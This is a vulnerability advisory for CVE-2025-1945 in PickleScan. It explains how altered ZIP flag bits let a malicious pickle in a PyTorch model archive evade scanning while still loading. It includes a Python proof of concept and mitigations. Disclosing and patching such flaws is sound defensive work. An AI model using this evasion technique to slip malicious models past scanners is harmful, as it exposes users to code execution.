CVE-2025-1945

Description

PickleScan relies on Python’s zipfile module to extract and scan files within ZIP-based model archives. However, certain flag bits in ZIP headers affect how files are interpreted, and some of these bits cause PickleScan to fail while leaving PyTorch’s loading mechanism unaffected.

By modifying the flag_bits field in the ZIP file entry, an attacker can:

• Embed a malicious pickle file (bad_file.pkl) in a PyTorch model archive.

• Flip specific bits (e.g., 0x1, 0x20, 0x40) in the ZIP metadata.

• Prevent PickleScan from scanning the archive due to errors raised by zipfile.

• Successfully load the model with torch.load(), which ignores the flag modifications.

This technique effectively bypasses PickleScan's security checks while maintaining model functionality.

Proof-of-Concept (PoC)

The following example demonstrates how a crafted ZIP file could bypass Picklescan's security scan to load malicious model(s):

import os

import zipfile

import torch

from picklescan import cli

def can_scan(zip_file):

    try:

        cli.print_summary(False, cli.scan_file_path(zip_file))

        return True

    except Exception:

        return False

bit_to_flip = 0x1  # Change to 0x20 or 0x40 to test different flag bits

zip_file = "model.pth"

model = {'a': 1, 'b': 2, 'c': 3}

torch.save(model, zip_file)

with zipfile.ZipFile(zip_file, "r") as source:

    flipped_name = f"flipped_{bit_to_flip}_{zip_file}"

    with zipfile.ZipFile(flipped_name, "w") as dest:

        bad_file = zipfile.ZipInfo("model/bad_file.pkl")

        # Modify the ZIP flag bits

        bad_file.flag_bits |= bit_to_flip

        dest.writestr(bad_file, b"bad content")

        for item in source.infolist():

            dest.writestr(item, source.read(item.filename))

if model == torch.load(flipped_name, weights_only=False):

    if not can_scan(flipped_name):

        print('Found exploitable bit:', bit_to_flip)

else:

    os.remove(flipped_name)

Mitigations

1. Improve ZIP Handling: PickleScan should use a more relaxed ZIP parser marches on when encountering modified flag bits.

2. Scan All Embedded Files Regardless of Flags: Ensure that files with altered metadata are still extracted and analyzed.

By addressing these issues, picklescan can provide stronger protection against manipulated PyTorch model archives.

Note: picklescan version 0.0.23 contains a fix for this issue and can be upgraded to.